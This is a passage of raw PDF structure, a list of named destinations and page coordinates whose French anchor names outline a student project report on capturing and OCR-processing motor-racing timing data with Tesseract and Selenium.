624.905358 0 ] (.:__span-3-6) [ 540 0 R /XYZ 60.307257 611.505006 0 ] (.:__span-3-7) [ 540 0 R /XYZ 60.307257 598.104654 0 ] (.:__span-3-8) [ 540 0 R /XYZ 60.307257 584.704302 0 ] (.:__span-3-9) [ 540 0 R /XYZ 60.307257 571.303950 0 ] (.:__span-4-1) [ 540 0 R /XYZ 60.307257 491.661942 0 ] (.:__span-4-10) [ 540 0 R /XYZ 60.307257 371.058774 0 ] (.:__span-4-11) [ 540 0 R /XYZ 60.307257 344.258070 0 ] (.:__span-4-12) [ 540 0 R /XYZ 60.307257 330.857718 0 ] (.:__span-4-13) [ 540 0 R /XYZ 60.307257 317.457366 0 ] (.:__span-4-14) [ 540 0 R /XYZ 60.307257 304.057014 0 ] (.:__span-4-15) [ 540 0 R /XYZ 60.307257 290.656662 0 ] (.:__span-4-16) [ 540 0 R /XYZ 60.307257 277.256310 0 ] (.:__span-4-17) [ 540 0 R /XYZ 60.307257 250.455606 0 ] (.:__span-4-18) [ 540 0 R /XYZ 60.307257 237.055254 0 ] (.:__span-4-19) [ 540 0 R /XYZ 60.307257 223.654902 0 ] (.:__span-4-2) [ 540 0 R /XYZ 60.307257 478.261590 0 ] (.:__span-4-20) [ 540 0 R /XYZ 60.307257 210.254550 0 ] (.:__span-4-21) [ 540 0 R /XYZ 60.307257 196.854198 0 ] (.:__span-4-22) [ 540 0 R /XYZ 60.307257 183.453846 0 ] (.:__span-4-23) [ 540 0 R /XYZ 60.307257 170.053494 0 ] (.:__span-4-24) [ 540 0 R /XYZ 60.307257 156.653142 0 ] (.:__span-4-25) [ 540 0 R /XYZ 60.307257 143.252790 0 ] (.:__span-4-26) [ 540 0 R /XYZ 60.307257 129.852438 0 ] (.:__span-4-27) [ 540 0 R /XYZ 60.307257 116.452086 0 ] (.:__span-4-28) [ 540 0 R /XYZ 60.307257 103.051734 0 ] (.:__span-4-29) [ 540 0 R /XYZ 60.307257 89.651382 0 ] (.:__span-4-3) [ 540 0 R /XYZ 60.307257 464.861238 0 ] (.:__span-4-30) [ 542 0 R /XYZ 60.307257 771.023622 0 ] (.:__span-4-31) [ 542 0 R /XYZ 60.307257 757.623270 0 ] (.:__span-4-32) [ 542 0 R /XYZ 60.307257 744.222918 0 ] (.:__span-4-33) [ 542 0 R /XYZ 60.307257 730.822566 0 ] (.:__span-4-34) [ 542 0 R /XYZ 60.307257 717.422214 0 ] (.:__span-4-35) [ 542 0 R /XYZ 60.307257 704.021862 0 ] (.:__span-4-36) [ 542 0 R /XYZ 60.307257 690.621510 0 ] (.:__span-4-37) [ 542 0 R /XYZ 60.307257 677.221158 0 ] (.:__span-4-4) [ 540 0 R /XYZ 60.307257 451.460886 0 ] (.:__span-4-5) [ 540 0 R /XYZ 60.307257 438.060534 0 ] (.:__span-4-6) [ 540 0 R /XYZ 60.307257 424.660182 0 ] (.:__span-4-7) [ 540 0 R /XYZ 60.307257 411.259830 0 ] (.:__span-4-8) [ 540 0 R /XYZ 60.307257 397.859478 0 ] (.:__span-4-9) [ 540 0 R /XYZ 60.307257 384.459126 0 ] (.:__span-5-1) [ 550 0 R /XYZ 60.307257 671.460194 0 ] (.:__span-5-10) [ 550 0 R /XYZ 60.307257 537.456674 0 ] (.:__span-5-11) [ 550 0 R /XYZ 60.307257 524.056322 0 ] (.:__span-5-12) [ 550 0 R /XYZ 60.307257 510.655970 0 ] (.:__span-5-13) [ 550 0 R /XYZ 60.307257 497.255618 0 ] (.:__span-5-14) [ 550 0 R /XYZ 60.307257 483.855266 0 ] (.:__span-5-15) [ 550 0 R /XYZ 60.307257 470.454914 0 ] (.:__span-5-16) [ 550 0 R /XYZ 60.307257 457.054562 0 ] (.:__span-5-17) [ 550 0 R /XYZ 60.307257 443.654210 0 ] (.:__span-5-18) [ 550 0 R /XYZ 60.307257 416.853506 0 ] (.:__span-5-19) [ 550 0 R /XYZ 60.307257 403.453154 0 ] (.:__span-5-2) [ 550 0 R /XYZ 60.307257 658.059842 0 ] (.:__span-5-20) [ 550 0 R /XYZ 60.307257 390.052802 0 ] (.:__span-5-21) [ 550 0 R /XYZ 60.307257 376.652450 0 ] (.:__span-5-22) [ 550 0 R /XYZ 60.307257 363.252098 0 ] (.:__span-5-23) [ 550 0 R /XYZ 60.307257 349.851746 0 ] (.:__span-5-24) [ 550 0 R /XYZ 60.307257 323.051042 0 ] (.:__span-5-25) [ 550 0 R /XYZ 60.307257 309.650690 0 ] (.:__span-5-26) [ 550 0 R /XYZ 60.307257 296.250338 0 ] (.:__span-5-27) [ 550 0 R /XYZ 60.307257 269.449634 0 ] (.:__span-5-28) [ 550 0 R /XYZ 60.307257 256.049282 0 ] (.:__span-5-29) [ 550 0 R /XYZ 60.307257 229.248578 0 ] (.:__span-5-3) [ 550 0 R /XYZ 60.307257 644.659490 0 ] (.:__span-5-30) [ 550 0 R /XYZ 60.307257 202.447874 0 ] (.:__span-5-31) [ 550 0 R /XYZ 60.307257 189.047522 0 ] (.:__span-5-32) [ 550 0 R /XYZ 60.307257 175.647170 0 ] (.:__span-5-33) [ 550 0 R /XYZ 60.307257 162.246818 0 ] (.:__span-5-34) [ 550 0 R /XYZ 60.307257 135.446114 0 ] (.:__span-5-35) [ 550 0 R /XYZ 60.307257 122.045762 0 ] (.:__span-5-36) [ 550 0 R /XYZ 60.307257 108.645410 0 ] (.:__span-5-37) [ 550 0 R /XYZ 60.307257 95.245058 0 ] (.:__span-5-38) [ 554 0 R /XYZ 60.307257 771.023622 0 ] (.:__span-5-39) [ 554 0 R /XYZ 60.307257 757.623270 0 ] (.:__span-5-4) [ 550 0 R /XYZ 60.307257 631.259138 0 ] (.:__span-5-40) [ 554 0 R /XYZ 60.307257 744.222918 0 ] (.:__span-5-41) [ 554 0 R /XYZ 60.307257 730.822566 0 ] (.:__span-5-42) [ 554 0 R /XYZ 60.307257 704.021862 0 ] (.:__span-5-43) [ 554 0 R /XYZ 60.307257 690.621510 0 ] (.:__span-5-44) [ 554 0 R /XYZ 60.307257 677.221158 0 ] (.:__span-5-45) [ 554 0 R /XYZ 60.307257 663.820806 0 ] (.:__span-5-46) [ 554 0 R /XYZ 60.307257 650.420454 0 ] (.:__span-5-47) [ 554 0 R /XYZ 60.307257 637.020102 0 ] (.:__span-5-48) [ 554 0 R /XYZ 60.307257 623.619750 0 ] (.:__span-5-49) [ 554 0 R /XYZ 60.307257 610.219398 0 ] (.:__span-5-5) [ 550 0 R /XYZ 60.307257 617.858786 0 ] (.:__span-5-50) [ 554 0 R /XYZ 60.307257 596.819046 0 ] (.:__span-5-51) [ 554 0 R /XYZ 60.307257 583.418694 0 ] (.:__span-5-52) [ 554 0 R /XYZ 60.307257 570.018342 0 ] (.:__span-5-53) [ 554 0 R /XYZ 60.307257 543.217638 0 ] (.:__span-5-54) [ 554 0 R /XYZ 60.307257 516.416934 0 ] (.:__span-5-55) [ 554 0 R /XYZ 60.307257 503.016582 0 ] (.:__span-5-56) [ 554 0 R /XYZ 60.307257 489.616230 0 ] (.:__span-5-57) [ 554 0 R /XYZ 60.307257 462.815526 0 ] (.:__span-5-58) [ 554 0 R /XYZ 60.307257 449.415174 0 ] (.:__span-5-59) [ 554 0 R /XYZ 60.307257 436.014822 0 ] (.:__span-5-6) [ 550 0 R /XYZ 60.307257 604.458434 0 ] (.:__span-5-60) [ 554 0 R /XYZ 60.307257 422.614470 0 ] (.:__span-5-61) [ 554 0 R /XYZ 60.307257 409.214118 0 ] (.:__span-5-62) [ 554 0 R /XYZ 60.307257 395.813766 0 ] (.:__span-5-7) [ 550 0 R /XYZ 60.307257 577.657730 0 ] (.:__span-5-8) [ 550 0 R /XYZ 60.307257 564.257378 0 ] (.:__span-5-9) [ 550 0 R /XYZ 60.307257 550.857026 0 ] (.:__span-6-1) [ 563 0 R /XYZ 60.307257 458.116602 0 ] (.:__span-6-10) [ 563 0 R /XYZ 60.307257 337.513434 0 ] (.:__span-6-100) [ 569 0 R /XYZ 60.307257 516.416934 0 ] (.:__span-6-101) [ 569 0 R /XYZ 60.307257 503.016582 0 ] (.:__span-6-102) [ 569 0 R /XYZ 60.307257 489.616230 0 ] (.:__span-6-103) [ 569 0 R /XYZ 60.307257 476.215878 0 ] (.:__span-6-104) [ 569 0 R /XYZ 60.307257 462.815526 0 ] (.:__span-6-105) [ 569 0 R /XYZ 60.307257 449.415174 0 ] (.:__span-6-106) [ 569 0 R /XYZ 60.307257 436.014822 0 ] (.:__span-6-107) [ 569 0 R /XYZ 60.307257 422.614470 0 ] (.:__span-6-108) [ 569 0 R /XYZ 60.307257 409.214118 0 ] (.:__span-6-109) [ 569 0 R /XYZ 60.307257 395.813766 0 ] (.:__span-6-11) [ 563 0 R /XYZ 60.307257 324.113082 0 ] (.:__span-6-110) [ 569 0 R /XYZ 60.307257 382.413414 0 ] (.:__span-6-111) [ 569 0 R /XYZ 60.307257 369.013062 0 ] (.:__span-6-112) [ 569 0 R /XYZ 60.307257 355.612710 0 ] (.:__span-6-113) [ 569 0 R /XYZ 60.307257 342.212358 0 ] (.:__span-6-114) [ 569 0 R /XYZ 60.307257 328.812006 0 ] (.:__span-6-115) [ 569 0 R /XYZ 60.307257 315.411654 0 ] (.:__span-6-116) [ 569 0 R /XYZ 60.307257 302.011302 0 ] (.:__span-6-117) [ 569 0 R /XYZ 60.307257 288.610950 0 ] (.:__span-6-118) [ 569 0 R /XYZ 60.307257 275.210598 0 ] (.:__span-6-119) [ 569 0 R /XYZ 60.307257 261.810246 0 ] (.:__span-6-12) [ 563 0 R /XYZ 60.307257 310.712730 0 ] (.:__span-6-120) [ 569 0 R /XYZ 60.307257 248.409894 0 ] (.:__span-6-121) [ 569 0 R /XYZ 60.307257 235.009542 0 ] (.:__span-6-122) [ 569 0 R /XYZ 60.307257 221.609190 0 ] (.:__span-6-123) [ 569 0 R /XYZ 60.307257 208.208838 0 ] (.:__span-6-124) [ 569 0 R /XYZ 60.307257 194.808486 0 ] (.:__span-6-125) [ 569 0 R /XYZ 60.307257 181.408134 0 ] (.:__span-6-126) [ 569 0 R /XYZ 60.307257 168.007782 0 ] (.:__span-6-127) [ 569 0 R /XYZ 60.307257 154.607430 0 ] (.:__span-6-128) [ 569 0 R /XYZ 60.307257 141.207078 0 ] (.:__span-6-129) [ 569 0 R /XYZ 60.307257 127.806726 0 ] (.:__span-6-13) [ 563 0 R /XYZ 60.307257 297.312378 0 ] (.:__span-6-130) [ 569 0 R /XYZ 60.307257 114.406374 0 ] (.:__span-6-131) [ 569 0 R /XYZ 60.307257 101.006022 0 ] (.:__span-6-132) [ 569 0 R /XYZ 60.307257 87.605670 0 ] (.:__span-6-133) [ 571 0 R /XYZ 60.307257 771.023622 0 ] (.:__span-6-134) [ 571 0 R /XYZ 60.307257 757.623270 0 ] (.:__span-6-135) [ 571 0 R /XYZ 60.307257 744.222918 0 ] (.:__span-6-136) [ 571 0 R /XYZ 60.307257 730.822566 0 ] (.:__span-6-137) [ 571 0 R /XYZ 60.307257 717.422214 0 ] (.:__span-6-138) [ 571 0 R /XYZ 60.307257 704.021862 0 ] (.:__span-6-139) [ 571 0 R /XYZ 60.307257 690.621510 0 ] (.:__span-6-14) [ 563 0 R /XYZ 60.307257 283.912026 0 ] (.:__span-6-140) [ 571 0 R /XYZ 60.307257 677.221158 0 ] (.:__span-6-141) [ 571 0 R /XYZ 60.307257 663.820806 0 ] (.:__span-6-142) [ 571 0 R /XYZ 60.307257 650.420454 0 ] (.:__span-6-143) [ 571 0 R /XYZ 60.307257 637.020102 0 ] (.:__span-6-144) [ 571 0 R /XYZ 60.307257 623.619750 0 ] (.:__span-6-145) [ 571 0 R /XYZ 60.307257 610.219398 0 ] (.:__span-6-146) [ 571 0 R /XYZ 60.307257 596.819046 0 ] (.:__span-6-147) [ 571 0 R /XYZ 60.307257 583.418694 0 ] (.:__span-6-148) [ 571 0 R /XYZ 60.307257 570.018342 0 ] (.:__span-6-149) [ 571 0 R /XYZ 60.307257 556.617990 0 ] (.:__span-6-15) [ 563 0 R /XYZ 60.307257 270.511674 0 ] (.:__span-6-150) [ 571 0 R /XYZ 60.307257 543.217638 0 ] (.:__span-6-151) [ 571 0 R /XYZ 60.307257 529.817286 0 ] (.:__span-6-152) [ 571 0 R /XYZ 60.307257 516.416934 0 ] (.:__span-6-153) [ 571 0 R /XYZ 60.307257 503.016582 0 ] (.:__span-6-154) [ 571 0 R /XYZ 60.307257 489.616230 0 ] (.:__span-6-155) [ 571 0 R /XYZ 60.307257 476.215878 0 ] (.:__span-6-156) [ 571 0 R /XYZ 60.307257 462.815526 0 ] (.:__span-6-157) [ 571 0 R /XYZ 60.307257 449.415174 0 ] (.:__span-6-158) [ 571 0 R /XYZ 60.307257 436.014822 0 ] (.:__span-6-159) [ 571 0 R /XYZ 60.307257 422.614470 0 ] (.:__span-6-16) [ 563 0 R /XYZ 60.307257 257.111322 0 ] (.:__span-6-160) [ 571 0 R /XYZ 60.307257 409.214118 0 ] (.:__span-6-161) [ 571 0 R /XYZ 60.307257 395.813766 0 ] (.:__span-6-162) [ 571 0 R /XYZ 60.307257 382.413414 0 ] (.:__span-6-163) [ 571 0 R /XYZ 60.307257 369.013062 0 ] (.:__span-6-17) [ 563 0 R /XYZ 60.307257 243.710970 0 ] (.:__span-6-18) [ 563 0 R /XYZ 60.307257 230.310618 0 ] (.:__span-6-19) [ 563 0 R /XYZ 60.307257 216.910266 0 ] (.:__span-6-2) [ 563 0 R /XYZ 60.307257 444.716250 0 ] (.:__span-6-20) [ 563 0 R /XYZ 60.307257 203.509914 0 ] (.:__span-6-21) [ 563 0 R /XYZ 60.307257 190.109562 0 ] (.:__span-6-22) [ 563 0 R /XYZ 60.307257 176.709210 0 ] (.:__span-6-23) [ 563 0 R /XYZ 60.307257 163.308858 0 ] (.:__span-6-24) [ 563 0 R /XYZ 60.307257 149.908506 0 ] (.:__span-6-25) [ 563 0 R /XYZ 60.307257 136.508154 0 ] (.:__span-6-26) [ 563 0 R /XYZ 60.307257 123.107802 0 ] (.:__span-6-27) [ 563 0 R /XYZ 60.307257 109.707450 0 ] (.:__span-6-28) [ 563 0 R /XYZ 60.307257 96.307098 0 ] (.:__span-6-29) [ 567 0 R /XYZ 60.307257 771.023622 0 ] (.:__span-6-3) [ 563 0 R /XYZ 60.307257 431.315898 0 ] (.:__span-6-30) [ 567 0 R /XYZ 60.307257 757.623270 0 ] (.:__span-6-31) [ 567 0 R /XYZ 60.307257 744.222918 0 ] (.:__span-6-32) [ 567 0 R /XYZ 60.307257 730.822566 0 ] (.:__span-6-33) [ 567 0 R /XYZ 60.307257 717.422214 0 ] (.:__span-6-34) [ 567 0 R /XYZ 60.307257 704.021862 0 ] (.:__span-6-35) [ 567 0 R /XYZ 60.307257 690.621510 0 ] (.:__span-6-36) [ 567 0 R /XYZ 60.307257 677.221158 0 ] (.:__span-6-37) [ 567 0 R /XYZ 60.307257 663.820806 0 ] (.:__span-6-38) [ 567 0 R /XYZ 60.307257 650.420454 0 ] (.:__span-6-39) [ 567 0 R /XYZ 60.307257 637.020102 0 ] (.:__span-6-4) [ 563 0 R /XYZ 60.307257 417.915546 0 ] (.:__span-6-40) [ 567 0 R /XYZ 60.307257 623.619750 0 ] (.:__span-6-41) [ 567 0 R /XYZ 60.307257 610.219398 0 ] (.:__span-6-42) [ 567 0 R /XYZ 60.307257 596.819046 0 ] (.:__span-6-43) [ 567 0 R /XYZ 60.307257 583.418694 0 ] (.:__span-6-44) [ 567 0 R /XYZ 60.307257 570.018342 0 ] (.:__span-6-45) [ 567 0 R /XYZ 60.307257 556.617990 0 ] (.:__span-6-46) [ 567 0 R /XYZ 60.307257 543.217638 0 ] (.:__span-6-47) [ 567 0 R /XYZ 60.307257 529.817286 0 ] (.:__span-6-48) [ 567 0 R /XYZ 60.307257 516.416934 0 ] (.:__span-6-49) [ 567 0 R /XYZ 60.307257 503.016582 0 ] (.:__span-6-5) [ 563 0 R /XYZ 60.307257 404.515194 0 ] (.:__span-6-50) [ 567 0 R /XYZ 60.307257 489.616230 0 ] (.:__span-6-51) [ 567 0 R /XYZ 60.307257 476.215878 0 ] (.:__span-6-52) [ 567 0 R /XYZ 60.307257 462.815526 0 ] (.:__span-6-53) [ 567 0 R /XYZ 60.307257 449.415174 0 ] (.:__span-6-54) [ 567 0 R /XYZ 60.307257 436.014822 0 ] (.:__span-6-55) [ 567 0 R /XYZ 60.307257 422.614470 0 ] (.:__span-6-56) [ 567 0 R /XYZ 60.307257 409.214118 0 ] (.:__span-6-57) [ 567 0 R /XYZ 60.307257 395.813766 0 ] (.:__span-6-58) [ 567 0 R /XYZ 60.307257 382.413414 0 ] (.:__span-6-59) [ 567 0 R /XYZ 60.307257 369.013062 0 ] (.:__span-6-6) [ 563 0 R /XYZ 60.307257 391.114842 0 ] (.:__span-6-60) [ 567 0 R /XYZ 60.307257 355.612710 0 ] (.:__span-6-61) [ 567 0 R /XYZ 60.307257 342.212358 0 ] (.:__span-6-62) [ 567 0 R /XYZ 60.307257 328.812006 0 ] (.:__span-6-63) [ 567 0 R /XYZ 60.307257 315.411654 0 ] (.:__span-6-64) [ 567 0 R /XYZ 60.307257 302.011302 0 ] (.:__span-6-65) [ 567 0 R /XYZ 60.307257 288.610950 0 ] (.:__span-6-66) [ 567 0 R /XYZ 60.307257 275.210598 0 ] (.:__span-6-67) [ 567 0 R /XYZ 60.307257 261.810246 0 ] (.:__span-6-68) [ 567 0 R /XYZ 60.307257 248.409894 0 ] (.:__span-6-69) [ 567 0 R /XYZ 60.307257 235.009542 0 ] (.:__span-6-7) [ 563 0 R /XYZ 60.307257 377.714490 0 ] (.:__span-6-70) [ 567 0 R /XYZ 60.307257 221.609190 0 ] (.:__span-6-71) [ 567 0 R /XYZ 60.307257 208.208838 0 ] (.:__span-6-72) [ 567 0 R /XYZ 60.307257 194.808486 0 ] (.:__span-6-73) [ 567 0 R /XYZ 60.307257 181.408134 0 ] (.:__span-6-74) [ 567 0 R /XYZ 60.307257 168.007782 0 ] (.:__span-6-75) [ 567 0 R /XYZ 60.307257 154.607430 0 ] (.:__span-6-76) [ 567 0 R /XYZ 60.307257 141.207078 0 ] (.:__span-6-77) [ 567 0 R /XYZ 60.307257 127.806726 0 ] (.:__span-6-78) [ 567 0 R /XYZ 60.307257 114.406374 0 ] (.:__span-6-79) [ 567 0 R /XYZ 60.307257 101.006022 0 ] (.:__span-6-8) [ 563 0 R /XYZ 60.307257 364.314138 0 ] (.:__span-6-80) [ 567 0 R /XYZ 60.307257 87.605670 0 ] (.:__span-6-81) [ 569 0 R /XYZ 60.307257 771.023622 0 ] (.:__span-6-82) [ 569 0 R /XYZ 60.307257 757.623270 0 ] (.:__span-6-83) [ 569 0 R /XYZ 60.307257 744.222918 0 ] (.:__span-6-84) [ 569 0 R /XYZ 60.307257 730.822566 0 ] (.:__span-6-85) [ 569 0 R /XYZ 60.307257 717.422214 0 ] (.:__span-6-86) [ 569 0 R /XYZ 60.307257 704.021862 0 ] (.:__span-6-87) [ 569 0 R /XYZ 60.307257 690.621510 0 ] (.:__span-6-88) [ 569 0 R /XYZ 60.307257 677.221158 0 ] (.:__span-6-89) [ 569 0 R /XYZ 60.307257 663.820806 0 ] (.:__span-6-9) [ 563 0 R /XYZ 60.307257 350.913786 0 ] (.:__span-6-90) [ 569 0 R /XYZ 60.307257 650.420454 0 ] (.:__span-6-91) [ 569 0 R /XYZ 60.307257 637.020102 0 ] (.:__span-6-92) [ 569 0 R /XYZ 60.307257 623.619750 0 ] (.:__span-6-93) [ 569 0 R /XYZ 60.307257 610.219398 0 ] (.:__span-6-94) [ 569 0 R /XYZ 60.307257 596.819046 0 ] (.:__span-6-95) [ 569 0 R /XYZ 60.307257 583.418694 0 ] (.:__span-6-96) [ 569 0 R /XYZ 60.307257 570.018342 0 ] (.:__span-6-97) [ 569 0 R /XYZ 60.307257 556.617990 0 ] (.:__span-6-98) [ 569 0 R /XYZ 60.307257 543.217638 0 ] (.:__span-6-99) [ 569 0 R /XYZ 60.307257 529.817286 0 ] (.:__span-7-1) [ 804 0 R /XYZ 60.307257 428.812602 0 ] (.:__span-7-2) [ 804 0 R /XYZ 60.307257 415.412250 0 ] (.:__span-7-3) [ 804 0 R /XYZ 60.307257 402.011898 0 ] (.:__span-7-4) [ 804 0 R /XYZ 60.307257 388.611546 0 ] (.:__span-7-5) [ 804 0 R /XYZ 60.307257 375.211194 0 ] (.:__span-7-6) [ 804 0 R /XYZ 60.307257 361.810842 0 ] (.:__span-7-7) [ 804 0 R /XYZ 60.307257 348.410490 0 ] (.:__span-8-1) [ 806 0 R /XYZ 60.307257 381.602202 0 ] (.:__span-8-2) [ 806 0 R /XYZ 60.307257 368.201850 0 ] (.:__span-8-3) [ 806 0 R /XYZ 60.307257 354.801498 0 ] (.:__span-8-4) [ 806 0 R /XYZ 60.307257 341.401146 0 ] (.:__span-8-5) [ 806 0 R /XYZ 60.307257 328.000794 0 ] (.:__span-8-6) [ 806 0 R /XYZ 60.307257 314.600442 0 ] (.:__span-9-1) [ 811 0 R /XYZ 60.307257 458.458122 0 ] (.:__span-9-2) [ 811 0 R /XYZ 60.307257 445.057770 0 ] (.:__span-9-3) [ 811 0 R /XYZ 60.307257 431.657418 0 ] (.:__span-9-4) [ 811 0 R /XYZ 60.307257 418.257066 0 ] (.:__span-9-5) [ 811 0 R /XYZ 60.307257 404.856714 0 ] (.:__span-9-6) [ 811 0 R /XYZ 60.307257 391.456362 0 ] (.:__span-9-7) [ 811 0 R /XYZ 60.307257 378.056010 0 ] (.:abstract) [ 434 0 R /XYZ 39.386457 771.023622 0 ] (.:affichage-calcule) [ 816 0 R /XYZ 42.836457 716.541222 0 ] (.:affichage-des-donnees) [ 811 0 R /XYZ 39.386457 722.226822 0 ] (.:affichage-direct) [ 811 0 R /XYZ 42.836457 580.332822 0 ] (.:affichage-hybride) [ 816 0 R /XYZ 42.836457 667.744422 0 ] (.:affichage-predictif) [ 836 0 R /XYZ 42.836457 595.529850 0 ] (.:affichage-totalement-calcule) [ 826 0 R /XYZ 42.836457 353.735622 0 ] (.:ameliorations-futures) [ 849 0 R /XYZ 39.386457 771.023622 0 ] (.:analyse-fonctionnelle) [ 458 0 R /XYZ 39.386457 428.499402 0 ] (.:analyse-organique) [ 458 0 R /XYZ 39.386457 339.155502 0 ] (.:base-de-donnee) [ 798 0 R /XYZ 42.836457 353.394469 0 ] (.:cahier-des-charges) [ 436 0 R /XYZ 39.386457 550.499622 0 ] (.:calibration) [ 542 0 R /XYZ 42.836457 579.426906 0 ] (.:cas-dutilisation) [ 446 0 R /XYZ 39.386457 412.926066 0 ] (.:chiffres) [ 650 0 R /XYZ 42.836457 460.413222 0 ] (.:comment-ca-aurait-du-se-passer) [ 843 0 R /XYZ 39.386457 250.947249 0 ] (.:comment-ca-cest-passe) [ 838 0 R /XYZ 39.386457 682.814022 0 ] (.:comment-faire) [ 520 0 R /XYZ 42.836457 735.309222 0 ] (.:conclusion) [ 849 0 R /XYZ 39.386457 681.679722 0 ] (.:controler-le-navigateur) [ 527 0 R /XYZ 42.836457 387.800022 0 ] (.:csharp) [ 472 0 R /XYZ 42.836457 487.571622 0 ] (.:description-du-besoin) [ 434 0 R /XYZ 39.386457 343.911222 0 ] (.:differences-sur-le-cahier-des-charges) [ 450 0 R /XYZ 39.386457 368.746422 0 ] (.:difficultes-techniques) [ 450 0 R /XYZ 39.386457 638.709222 0 ] (.:drs) [ 740 0 R /XYZ 42.836457 584.282022 0 ] (.:dt) [ 452 0 R /XYZ 42.836457 404.984502 0 ] (.:dt1-creation-du-poster-1) [ 452 0 R /XYZ 42.836457 341.173302 0 ] (.:dt2-documentation-analyse-de-lexistant-2) [ 452 0 R /XYZ 42.836457 225.937782 0 ] (.:dt3-documentation-analyse-organique-5) [ 452 0 R /XYZ 42.836457 140.731062 0 ] (.:dt4-documentation-analyse-fonctionnelle-2) [ 454 0 R /XYZ 42.836457 692.198022 0 ] (.:dt5-documentation-tests-1) [ 454 0 R /XYZ 42.836457 552.564102 0 ] (.:dt6-documentation-reste-2) [ 454 0 R /XYZ 42.836457 476.741382 0 ] (.:ethique-du-projet) [ 847 0 R /XYZ 39.386457 299.414622 0 ] (.:filtres-et-methodes-sur-les-images) [ 740 0 R /XYZ 42.836457 523.473702 0 ] (.:filtres-et-traitement) [ 607 0 R /XYZ 42.836457 237.136277 0 ] (.:firefox) [ 482 0 R /XYZ 42.836457 389.978022 0 ] (.:fonctionnement-general) [ 489 0 R /XYZ 39.386457 435.021222 0 ] (.:fonctionnement-general_1) [ 573 0 R /XYZ 42.836457 771.023622 0 ] (.:introduction) [ 428 0 R /XYZ 39.386457 723.165222 0 ] (.:lecons) [ 847 0 R /XYZ 39.386457 613.372422 0 ] (.:les-briques-principales) [ 489 0 R /XYZ 42.836457 326.909622 0 ] (.:les-chiffres-2) [ 674 0 R /XYZ 42.836457 569.267622 0 ] (.:liste-des-pilotes) [ 544 0 R /XYZ 42.836457 771.023622 0 ] (.:notes-de-code) [ 849 0 R /XYZ 39.386457 592.335822 0 ] (.:ocr) [ 492 0 R /XYZ 42.836457 95.795299 0 ] (.:ocr_1) [ 571 0 R /XYZ 39.386457 303.179610 0 ] (.:optimisation-du-programme) [ 847 0 R /XYZ 39.386457 388.758522 0 ] (.:outils-utilises) [ 458 0 R /XYZ 39.386457 283.594002 0 ] (.:petit-point-resolution) [ 754 0 R /XYZ 42.836457 371.265222 0 ] (.:planning-effectif-et-differences) [ 458 0 R /XYZ 39.386457 517.843302 0 ] (.:planning-previsionnel) [ 450 0 R /XYZ 39.386457 279.402522 0 ] (.:pneus) [ 674 0 R /XYZ 42.836457 523.473702 0 ] (.:projet) [ 436 0 R /XYZ 39.386457 435.818922 0 ] (.:pt) [ 452 0 R /XYZ 42.836457 580.332822 0 ] (.:pt1-preparation-au-travail-de-diplome-2) [ 452 0 R /XYZ 42.836457 531.536022 0 ] (.:pt1-programmation-recuperation-des-images-3) [ 454 0 R /XYZ 42.836457 310.777062 0 ] (.:pt2-programmation-ocr-5) [ 456 0 R /XYZ 42.836457 771.023622 0 ] (.:pt3-programmation-stockage-et-modele-5) [ 456 0 R /XYZ 42.836457 625.759302 0 ] (.:pt4-programmation-vue-de-lapp-5) [ 456 0 R /XYZ 42.836457 495.509382 0 ] (.:pt5-programmation-mise-en-commun-3) [ 456 0 R /XYZ 42.836457 365.259462 0 ] (.:pt_1) [ 454 0 R /XYZ 42.836457 374.588262 0 ] (.:python) [ 477 0 R /XYZ 42.836457 517.600422 0 ] (.:quand-remplir-la-base) [ 802 0 R /XYZ 42.836457 256.212822 0 ] (.:quand-un-pilote-a-fait-un-arret-aux-stands) [ 806 0 R /XYZ 42.836457 771.023622 0 ] (.:quand-un-pilote-a-finit-un-tour) [ 804 0 R /XYZ 42.836457 746.625222 0 ] (.:rapport-track-trends-v10) [ 422 0 R /XYZ 39.386457 757.223622 0 ] (.:realisation) [ 438 0 R /XYZ 39.386457 771.023622 0 ] (.:recuperation-des-images) [ 511 0 R /XYZ 39.386457 253.026822 0 ] (.:recuperation-dimages) [ 489 0 R /XYZ 42.836457 263.098422 0 ] (.:recuperer-les-cookies) [ 534 0 R /XYZ 42.836457 409.684422 0 ] (.:resume) [ 428 0 R /XYZ 39.386457 667.603722 0 ] (.:resume-des-difficultes-techniques) [ 847 0 R /XYZ 39.386457 478.102422 0 ] (.:resume-du-fonctionnement-general) [ 502 0 R /XYZ 42.836457 187.703299 0 ] (.:selenium) [ 458 0 R /XYZ 42.836457 104.962002 0 ] (.:simuler-un-navigateur) [ 520 0 R /XYZ 42.836457 106.526022 0 ] (.:stockage) [ 563 0 R /XYZ 42.836457 646.430022 0 ] (.:stockage-des-donnees) [ 792 0 R /XYZ 39.386457 572.502822 0 ] (.:taches) [ 452 0 R /XYZ 39.386457 771.023622 0 ] (.:technologies-utilisees) [ 458 0 R /XYZ 39.386457 222.457602 0 ] (.:tesseract) [ 489 0 R /XYZ 42.836457 611.440422 0 ] (.:tests) [ 836 0 R /XYZ 39.386457 211.724250 0 ] (.:texte) [ 629 0 R /XYZ 42.836457 369.234822 0 ] (.:traitement-des-donnees) [ 780 0 R /XYZ 39.386457 195.312822 0 ] (.:traitement-et-affichage) [ 497 0 R /XYZ 42.836457 122.598958 0 ] (.:tt) [ 456 0 R /XYZ 42.836457 238.707942 0 ] (.:tt1-tests-ocr-2) [ 456 0 R /XYZ 42.836457 174.896742 0 ] (.:tt2-tests-finaux-2) [ 458 0 R /XYZ 42.836457 662.169222 0 ] (.:utilisation-de-chat-gpt) [ 847 0 R /XYZ 39.386457 195.056322 0 ] (.:windows-pilotes) [ 554 0 R /XYZ 42.836457 363.762714 0 ] (.:zone-principale) [ 544 0 R /XYZ 42.836457 640.773702 0 ] (.:zones-pilotes) [ 544 0 R /XYZ 42.836457 316.153201 0 ] (CahierDesCharges/:) [ 851 0 R /XYZ 39.386457 771.023622 0 ] (CahierDesCharges/:cahier-des-charges) [ 851 0 R /XYZ 39.386457 757.223622 0 ] (CahierDesCharges/:cas-dutilisation) [ 872 0 R /XYZ 39.386457 771.023622 0 ] (CahierDesCharges/:contexte) [ 851 0 R /XYZ 39.386457 669.390822 0 ] (CahierDesCharges/:difficultes-techniques) [ 874 0 R /XYZ 39.386457 771.023622 0 ] (CahierDesCharges/:projet) [ 856 0 R /XYZ 39.386457 124.199039 0 ] (CahierDesCharges/:realisation) [ 860 0 R /XYZ 39.386457 436.953222 0 ] (Code/ConfigurationTool/:) [ 1489 0 R /XYZ 39.386457 707.865222 0 ] (Code/ConfigurationTool/:__span-0-1) [ 1489 0 R /XYZ 60.307257 667.937022 0 ] (Code/ConfigurationTool/:__span-0-10) [ 1489 